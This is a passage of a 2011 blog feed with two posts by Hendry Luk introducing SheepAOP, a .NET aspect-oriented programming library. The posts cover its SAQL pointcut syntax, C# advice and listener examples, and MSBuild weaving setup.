The new SheepAOP will no longer employ this &#8220;code-template&#8221; technique. It now makes use of .net delegates. SheepAOP now pulls your code-blocks into statically-generated methods, and keeps the delegates of them, so your application will literally jumps back and forth between these delegates. Your debugger will be able to cope with that. It also means that you can even make your advice call your target methods several times. E.g.:<br />
<pre class="brush: csharp;">
public int Advice(JoinPoint jp)
{
   var returnValue= jp.Proceed();
   returnValue+= jp.Proceed();
   returnValue+= jp.Proceed();
   return returnValue;
}
</pre></p>
<p>That advice would execute your target methods 3 times, and yup, this time is for real: your advice method actually gets executed during runtime. When you call jp.Proceed(), beneath the skin it will simply make a delegate call that points back to your hidden underlying target code-block.</li>
</ol>
<p>These changes demanded a major change. I had to rewrite the project pretty much from scratch. How does this affect Fluent API? Let&#8217;s see.</p>
<p>The shift from static advices and pointcuts into active instances (especially to support inheritance at point#2) means that SheepAOP will now have to instantiate your actual aspect classes in order to execute its configuration routines (and their inheritances). The same aspect classes that are also used during the runtime.<br />
I don&#8217;t like this. Your classes typically have certain instantiations routine required during the runtime (e.g. application-settings, dependency-injects, even sometimes database-connections). The fact that now I have to execute the same runtime routines as part of my compilation process really bothers me. And once you get the actual runtime instance of your object, it really becomes inevitable to make &#8220;accidental&#8221; abuse within your AOP configuration code. It was aggravated by the ever swelling number of generics tags and lambda arrows noise thanks to the fast growing need for a more expressive configuration system, I eventually determined that this is a good time for the birth of SAQL.</p>
<h1>SAQL!</h1>
<p>Ok, this will be brief. I&#8217;ll just give a comparison of the same pointcut between the old syntax and the new one. I will deliberately use a dreadfully complex example to magnify the difference.</p>
<h3>Old Fluent API:</h3>
<p><pre class="brush: csharp;">
[RegisterPointcut]
public static void MyPointcut(PointcutRegistry reg)
{
   reg.Advise(r=&gt; r.Method(m=&gt;
      m=&gt; m.Name(&quot;Save&quot;).And(m1=&gt;
            m1.IsStatic(true)
            .DeclaringType(t=&gt; t.Namespace(&quot;Sheep.Data.*&quot;))
            .Arg(t=&gt; t.Any())
            .Arg(t=&gt; t.AssignableFrom(i=&gt; i.FullName(&quot;NHibernate.ISession&quot;)))
         .Or (m2=&gt;
            m2.IsStatic(false)
            .DeclaringType(t=&gt; t.Implements(i=&gt; i.FullName(&quot;Sheep.IRepository`1&quot;)))
           ))
      ), MyAdvice);
}
</pre></p>
<h3>SAQL:</h3>
<p><pre class="brush: csharp;">
[SelectMethods(
    @&quot;Name:'Save' &amp;(
       IsStatic &amp; InType:Namespace:'Sheep.Data.*' &amp; Args:( , (AssignableFrom:'NHibernate.ISession'))
       || !IsStatic &amp; InType:Implements:'Sheep.IRepository`1'
      )&quot;
)]
public void MyPointcut() {}
</pre></p>
<p>The 2 codes above are querying exactly for the same pointcuts, resulting in exactly the same joinpoints. But I believe the second one using SAQL is much easier on eyes. The noise is kept minimum in the syntax. That SAQL query will then be lexed, parsed, and walked using ANTLR3 into a workable AST, that&#8217;s in turn translated into SheepAop Pointcut objects, ready to crunch your assemblies (fed by mono-cecil) to find the matching code-blocks within your assemblies.</p>
<p>As for the grammar, I actively avoided using words as part of the syntax (like in SQL and HQL) , because even though it makes it easier to read, it makes it harder to write. You might sometimes find yourself wondering whether you have to use &#8216;<em>where</em>&#8216;, or &#8216;<em>is</em>&#8216;, or &#8216;<em>not in</em>&#8216;, or &#8216;<em>is not</em> <em>in</em>&#8216; in specific instances. I believe a consistent use of small number of punctuations makes for a more intuitive experience. But I&#8217;m open to feedback regarding the language grammar.</p>
<h1>Where&#8217;s The Stuff?</h1>
<p>No surprise here, everything is in the Codeplex repository (<a title="SheepAop" href="http://sheepaop.codeplex.com/" target="_blank">http://sheepaop.codeplex.com/</a>). I haven&#8217;t produced a release for this yet since this is still very unstable, especially in the error-detection department (EDIT: and Generics situations, which is unexpextedly very tricky).</p>
<p>I will post next articles to explore the various features I&#8217;ve only briefly alluded above:</p>
<ul>
<li>SAQL basics</li>
<li>Abstract aspects and polymorphism</li>
<li>Aspects lifecycle (real world examples of &#8220;contextual aspects&#8221;)</li>
<li>Aspect factory (connecting your beloved IoC to SheepAOP)</li>
<li>Debugging tips</li>
</ul>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/aspect-oriented-programming/'>Aspect Oriented Programming</a>, <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/889/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/889/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/889/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/889/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/889/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/889/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/889/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/889/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/889/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/889/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/889/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/889/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/889/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/889/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=889&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/04/24/saql-and-sheepaop-remake/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>Announcing SheepAOP (Part 2)</title>
		<link>http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/</link>
		<comments>http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/#comments</comments>
		<pubDate>Sat, 16 Apr 2011 11:29:38 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Aspect Oriented Programming]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">https://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/</guid>
		<description><![CDATA[This post is the excerpt from yesterday’s presentation about the new SheepAOP project that I’ve just started recently. All code exercises in this post can be found under SheepAop.Samples project as part of the SheepAop repository (http://sheepaop.codeplex.com/) Part 1 – AOP for Everyone Part 2 – SheepAOP Basics Some Arbitrary Application We need to start [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=832&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This post is the excerpt from yesterday’s presentation about the new <a href="http://sheepaop.codeplex.com/" target="_blank">SheepAOP</a> project that I’ve just started recently.<br />
All code exercises in this post can be found under SheepAop.Samples project as part of the SheepAop repository (<a href="http://sheepaop.codeplex.com/">http://sheepaop.codeplex.com/</a>)</p>
<p><a title="Announcing SheepAOP Part 1" href="http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/" target="_blank">Part 1 – AOP for Everyone</a><br />
<strong>Part 2 – SheepAOP Basics</strong></p>
<h3>Some Arbitrary Application</h3>
<p>We need to start somewhere, so why not from this simple meaningless code?</p>
<p><pre class="brush: csharp;">
class Program
{
    static void Main()
    {
        IoCConfig.Bootstrap();

        var result = &quot;Elephant&quot;.CalculateAdsFee(10);
        Console.WriteLine(&quot;Index: {0}&quot;, result);

        Console.ReadLine();
    }
}

public static class StringHelper
{
    public static int CalculateAdsFee(this string text, int rate)
    {
        Console.WriteLine(&quot;Calculating {0}... &quot;, text);
        if(text.Length &lt; 15)
            return text.Length*rate;

        Console.WriteLine(&quot;Maximum fee!!&quot;);
        return text.Length*rate + 15;
    }
}
</pre></p>
<h2><a href="http://hendryluk.files.wordpress.com/2011/04/image3.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0 none;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image3.png?w=211&#038;h=68" alt="image" width="211" height="68" border="0" /></a></h2>
<p>No surprise there. 8 characters in “Elephant”, charged at $10 rate, calculates into $80.</p>
<h3>Your First Aspect</h3>
<p>Now let’s create a pointcut to target <em>StringHelper.CalculateAdsFee(string, int)</em> method above. In this case, I’ll say all methods beginning with word “Calculate”, declared within any type ending with word “Helper”:</p>
<p><pre class="brush: csharp;">
public static class DemoAspect
{
    [RegisterPointcut]
    public static void CalculateFeePointcut(PointcutRegistry reg)
    {
        reg.AddCurrentAssembly().Advise(m =&gt; m.Method
            .Name(&quot;Calculate*&quot;)
            .DeclaringType(t =&gt; t.Name(&quot;*Helper&quot;))
            , DemoAdvice);
    }
}
</pre></p>
<p>We have our pointcut, and as you see, we advise it with “DemoAdvice”, which doesn’t exist yet. So let’s create one now (visual-studio or resharper will help you with this).</p>
<p><pre class="brush: csharp;">
private static void DemoAdvice(MethodJointPoint jointpoint)
{
    Console.WriteLine(&quot;Demo advice for {0} from {1}&quot;, jointpoint.Args[0], jointpoint.Method);
    jointpoint.ReturnValue = 10000;
    Console.WriteLine(&quot;Leaving demo advice&quot;);
}
</pre></p>
<p>This method will never get executed. It will only be interpreted at the compile time to decorate your original StringHelper methods.</p>
<p>What we’ve just done there in this case, is that we have swapped completely the body of our original StringHelper method with these 3 lines of code we have just introduced in our advice. This is a crude way of creating an advice, we’ll see later a gentler way of doing this. But for now, let’s see the result:</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image4.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0 none;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image4.png?w=662&#038;h=87" alt="image" width="662" height="87" border="0" /></a></p>
<p>Let’s see with the debugger, and keep hitting F11.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image5.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image5.png?w=420&#038;h=193" alt="image" width="420" height="193" border="0" /></a><br />
<a href="http://hendryluk.files.wordpress.com/2011/04/image6.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image6.png?w=591&#038;h=164" alt="image" width="591" height="164" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image7.png"><br />
<img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image7.png?w=475&#038;h=167" alt="image" width="475" height="167" border="0" /></a></p>
<p>The execution jumps straight out from the CalculateAdsFee method, and returns 10000 immediately. This is because the whole method body of <em>CalculateAdsFee()</em> is no longer there, as we instructed SheepAOP to replace it with the new content, which simply returns 10000.</p>
<p>That’s rarely what we want. So let’s now change our DemoAdvice to the following:</p>
<p><pre class="brush: csharp;">
private static void DemoAdvice(MethodJointPoint jointpoint)
{
    Console.WriteLine(&quot;Demo advice for {0} from {1}&quot;, jointpoint.Args[0], jointpoint.Method);
    jointpoint.Args[0] = &quot;Sheep!!&quot;;

    JointPoint.Proceed(); // LOOK HERE!

    jointpoint.ReturnValue = (int) jointpoint.ReturnValue + 100;
    Console.WriteLine(&quot;Leaving demo advice&quot;);
}
</pre></p>
<p>JointPoint.Proceed() on line#6 only contains “throw NotSupportedException” if you execute it. But that’s fine because advice methods never actually get executed. Only intepreted as a template during compile time.<br />
JointPoint.Proceed() is a keyword that will be used by SheepAop compiler as a marker that that’s where the original method body should go. So if we run the application again, we’ll get:</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image8.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;margin:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image8.png?w=420&#038;h=193" alt="image" width="420" height="193" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image9.png"><br />
<img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image9.png?w=591&#038;h=164" alt="image" width="591" height="164" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image10.png"><br />
<img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image10.png?w=579&#038;h=159" alt="image" width="579" height="159" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image11.png"><br />
<img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image11.png?w=525&#038;h=129" alt="image" width="525" height="129" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image12.png"><br />
<img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image12.png?w=399&#038;h=170" alt="image" width="399" height="170" border="0" /></a></p>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image13.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0 none;margin:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image13.png?w=655&#038;h=85" alt="image" width="655" height="85" border="0" /></a></p>
<p>Between step#2 and step#3, you can see that the parameter <em>text</em> changes its value magically from “Elephant” to “Sheep!!”. On step #4, the method was returning 70*10=70, but the actual return value immediately changed to 170 on step#5. These behaviour changes are caused by the advice what we specified earlier: we change args[0]=”Sheep!!”, and we also increment the ReturnValue by 100 (hence resulting in 170).</p>
<p>You have seen the basic of what you can do with Advice. You can do pretty much what you can with a normal code. You can check if a value is within a certain range, and alter the flow of the execution.</p>
<h3>Altering Specific Lines Of Code</h3>
<p>This example will seem a bit crazy, that’s because I am using an incredibly unrealistic example, just to demonstrate the kind of thing you can do with SheepAOP. Here’s the initial code:</p>
<p><pre class="brush: csharp;">
class CrazyProgram
{
    static void Main()
    {
        IoCConfig.Bootstrap();

        string str = null;
        Console.WriteLine(&quot;Index of z: {0}&quot;, str.IndexOf('z'));

        Console.ReadLine();
    }
}
</pre></p>
<p>That line#8 is surely going to crash spectacularly, and rightly so.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image14.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image14.png?w=455&#038;h=162" alt="image" width="455" height="162" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image15.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image15.png?w=750&#038;h=236" alt="image" width="750" height="236" border="0" /></a></p>
<p>Even if we put an aspect inside of the string.IndexOf(char) method, that won’t help since the method won’t even get called in the first place.</p>
<p>So instead, let’s now write a SheepAOP aspect to target that specific line of code.</p>
<p><pre class="brush: csharp;">
public class CrazyAspect: IAspect
{
    [RegisterPointcut]
    public static void CrazyPointcut(PointcutRegistry reg)
    {
        reg.AddCurrentAssembly().Advise(r=&gt; r.Instruction
            .MethodCall(
                m=&gt; m.Name(&quot;IndexOf&quot;).DeclaringType(t=&gt; t.Is()))
            .ExecutedIn(
                m=&gt; m.DeclaringType(t=&gt; t.Is())
            ), CrazyAdvise);
    }

    private static void CrazyAdvise(MethodCallJointPoint jointpoint)
    {
        jointpoint.TargetInstance = &quot;crazy&quot;;
        JointPoint.Proceed();
    }
}
</pre></p>
<p>So there, we create a pointcut to target a specific instruction line in the code. There are several types of instruction we can target, for example, setting a field, getting a field, “new” instantiation, equality comparison, etc, but in this case, we want to target the “method call to string.IndexOf(char)” from any line of code “executed within any method in the CrazyProgram class”.</p>
<p>PS: <span style="font-family:Arial;"><em>The ExecutedIn() criteria can be handy to define different advices for a particular instruction executed from different contexts. For example, we can define that when we call “new Customer()” from within the VIP area, then we will return a new instance of VIPCustomer instead.</em></span></p>
<p>Now if we execute the application again, we’ll get:</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image16.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;margin:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image16.png?w=455&#038;h=162" alt="image" width="455" height="162" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image17.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image17.png?w=453&#038;h=164" alt="image" width="453" height="164" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image18.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image18.png?w=235&#038;h=96" alt="image" width="235" height="96" border="0" /></a></p>
<p>This time, the line passed through successfully, even though the str value is still null. What happens here is that we have just <em>redirected</em> the call to string.IndexOf(‘z’) method to an instance of string value “crazy”, rather than its original null instance, and hence returning 3 (the index of ‘z’ in ‘crazy’).</p>
<p>That was a silly example, but it shows you how you can use SheepAop to reach virtually any part of your code. Not only methods and properties.</p>
<h3>Event Driven Aspects</h3>
<p>I do NOT recommend you writing advices using the approaches I have been using in all previous examples. There are 2 disadvantages of it:</p>
<ul>
<li>Your advice will get welded straight to the target assembly, meaning that you won’t be able to change your advices dynamically at runtime</li>
<li>Since your advice methods are copied across during compilation, and never actually gets called, you won’t be able to follow it with debugger. There’s too much invisible surprises involved, which is why I strongly discourage this approach. For instance, if you look back to your first Aspect that we wrote, our debugger shows some <strong>invisible</strong> magic at the beginning of your method that changes your &#8220;Elephant&#8221; into  a &#8220;Sheep&#8221;.<a href="http://hendryluk.files.wordpress.com/2011/04/image19.png"><br />
<img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image9.png?w=591&#038;h=164" alt="image" width="591" height="164" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image20.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image10.png?w=579&#038;h=159" alt="image" width="579" height="159" border="0" /></a></li>
</ul>
<p>There is an extension method on the PointcutRegistry to alleviate this problem. It’s called: Listener. Now let’s change our DemoAspect from our first example to the following:</p>
<p><pre class="brush: csharp;">
public class DemoAspect: IAspect
{
    [RegisterPointcut]
    public static void CalculateFeePointcut(PointcutRegistry reg)
    {
        reg.AddCurrentAssembly().Listen(m =&gt; m.Method
            .Name(&quot;Calculate*&quot;)
            .DeclaringType(t =&gt; t.Name(&quot;*Helper&quot;)));
    }

    public void Init()
    {
        var listener = Listener.Method(CalculateFeePointcut);
        listener.OnEntry += (j, c) =&gt;
        {
            Console.WriteLine(&quot;Demo advice for {0} from {1}&quot;, j.Args[0], j.Method);
            j.Args[0] = &quot;Sheep!!&quot;;
        };
        listener.OnExit += (j, c) =&gt;
        {
            j.ReturnValue = (int)j.ReturnValue + 100;
            Console.WriteLine(&quot;Leaving demo advice&quot;);
        };
    }
}
</pre></p>
<p>You’re not actually losing any functionality. You can do almost anything you could do with the old way. There are 3 events you can subscribe to: OnEntry, OnExit, and OnException.<br />
Now if you run the debugger again, you will get the following:</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image21.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;margin:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image9.png?w=591&#038;h=164" alt="image" width="591" height="164" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image22.png"><br />
<img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image22.png?w=617&#038;h=175" alt="image" width="617" height="175" border="0" /></a><a href="http://hendryluk.files.wordpress.com/2011/04/image23.png"><br />
<img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:1px solid black;margin:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image10.png?w=579&#038;h=159" alt="image" width="579" height="159" border="0" /></a></p>
<p>On step#2, the debugger steps through your event handler, where you can inspect all the runtime details about the jointpoints. Now you can see everything that is going on. There’s no more code that’s not visible from the debugger.</p>
<p>And since your advice is now event-driven, you can subscribe and modify your advice at runtime however you like.</p>
<p>You can, for example, use plugin architecture to attach to these events to affect the intimate behaviour of your application dynamically. This is normally done using MEF or IoC using some sort of service-location pattern that you put in place in your application as a set of predefined extension points. AOP offers a less intrusive way of doing it, where you are not forced to reshape your architecture in any specific way to allow an injection of dynamic behaviours to your application via plugins and events. CQRS is another exciting possibility (where your reporting-context would unobstrusively subscribe to specific “pointcuts” within your domain-models).</p>
<p>Sometimes you still need to use the plain Advice, usually if your advice is surrounding your pointcut, for example: stopwatch to time around your pointcut, transaction-scope, or disposable objects. But when you do need to use Advice, try to extract out all logic into a separate public method. Remember that only the content of your Advice method gets copied across. So if you put your logic in a separate method, you will be able to use debugger on it. So only use the Advice method to declare control-flow, and leave any logic out. Try to keep your advice as lean as possible, and you’ll get as little surprise as you can afford.</p>
<h3>Shopping Cart</h3>
<p>Finally, to refresh our memory, here’s the aspect example from our <a title="Part 1" href="http://http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-1/" target="_blank">previous post</a> about the shopping-cart.</p>
<p><pre class="brush: csharp;">
public class PurchasingNotificationAspect: IAspect
{
    [RegisterPointcut]
    public static void SetProductPointcut(PointcutRegistry reg)
    {
        reg.AddCurrentAssembly()
            .Listen(r =&gt; r.Setter(p =&gt; p.StockQty));
    }

    private readonly INotificationService _notifier;

    public PurchasingNotificationAspect(INotificationService notifier)
    {
        _notifier = notifier;
    }

    public void Init()
    {
        Listener.PropertySet(SetProductPointcut).OnExit += (j, c) =&gt;
        {
            if ((int)j.Value &lt; 5)
                _notifier.Send(Notice.Restock, (Product) j.Instance);
        };
    }
}
</pre></p>
<h3>Setup</h3>
<p>To You need to attach SheepAop compiler to your project (containing your aspect definitions) to weave your assemblies (any assembly, doesn’t have to be the project assembly itself). For example, our SheepAop.Samples project has the following lines defined in its csproj file. You will need to do the same for any project using SheepAOP aspects.</p>
<p><pre class="brush: xml;">
&lt;PropertyGroup&gt;
   &lt;SheepAopLocation&gt;$(MSBuildProjectDirectory)\Libs&lt;/SheepAopLocation&gt;
&lt;/PropertyGroup&gt;
&lt;UsingTask TaskName=&quot;PostCompileWeaveTask&quot; AssemblyFile=&quot;$(SheepAopLocation)\SheepAop.Tasks.dll&quot; /&gt;
&lt;Target Name=&quot;AfterBuild&quot;&gt;
   &lt;PostCompileWeaveTask TargetFile=&quot;$(MSBuildProjectDirectory)\$(OutputPath)$(MSBuildProjectName).exe&quot; Namespace=&quot;SheepAop.Samples.*&quot; SheepAopLocation=&quot;$(SheepAopLocation)&quot; /&gt;
&lt;/Target&gt;
</pre></p>
<h3>Where to Next?</h3>
<p>In very near future, these are the things that will keep me busy:</p>
<ol>
<li>Mixin support</li>
<li>Support for Attribute style aspects</li>
<li>Add more aspect supports for many other IL constructs (e.g. c# &#8220;new&#8221; keyword, constructors, ==, etc).</li>
<li>Groking AspectJ</li>
</ol>
<p>What I&#8217;m not gonna do (but would love if anyone could help):</p>
<ol>
<li>External DSL (ala AspectJ)</li>
<li>IDE integration (background analysis and indexing to speed up compilation time)</li>
</ol>
<h3>Feedback?</h3>
<p>This project started as my learning attempt. I’m happy with all the learning gained in the past few days around IL, Mono.Cecil, and AOP in general. I’m still learning and experimenting with this project, and I am looking forward to hear any feedback and advice. I’ve put all the source-code out there, so feel free to explore, scrutinize, and I’d be pleased to hear any area that can be improved, both in the coding department (maintainability) as well as performance.</p>
<p>And of course, any contribution will be more than welcomed.</p>
<h3>Download</h3>
<p>You can download the full source-code of SheepAOP and all examples in this post (and the previous post) in the SheepAop main repository in Codeplex (<a title="http://sheepaop.codeplex.com/" href="http://sheepaop.codeplex.com/">http://sheepaop.codeplex.com/</a>).</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/aspect-oriented-programming/'>Aspect Oriented Programming</a>, <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/832/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/832/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/832/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/832/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/832/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/832/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/832/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/832/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/832/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/832/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/832/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/832/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/832/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/832/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=832&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image3.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image4.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image5.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image6.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image7.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image8.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image9.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image10.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image11.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image12.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image13.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image14.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image15.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image16.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image17.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image18.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image9.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image10.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image9.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image22.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

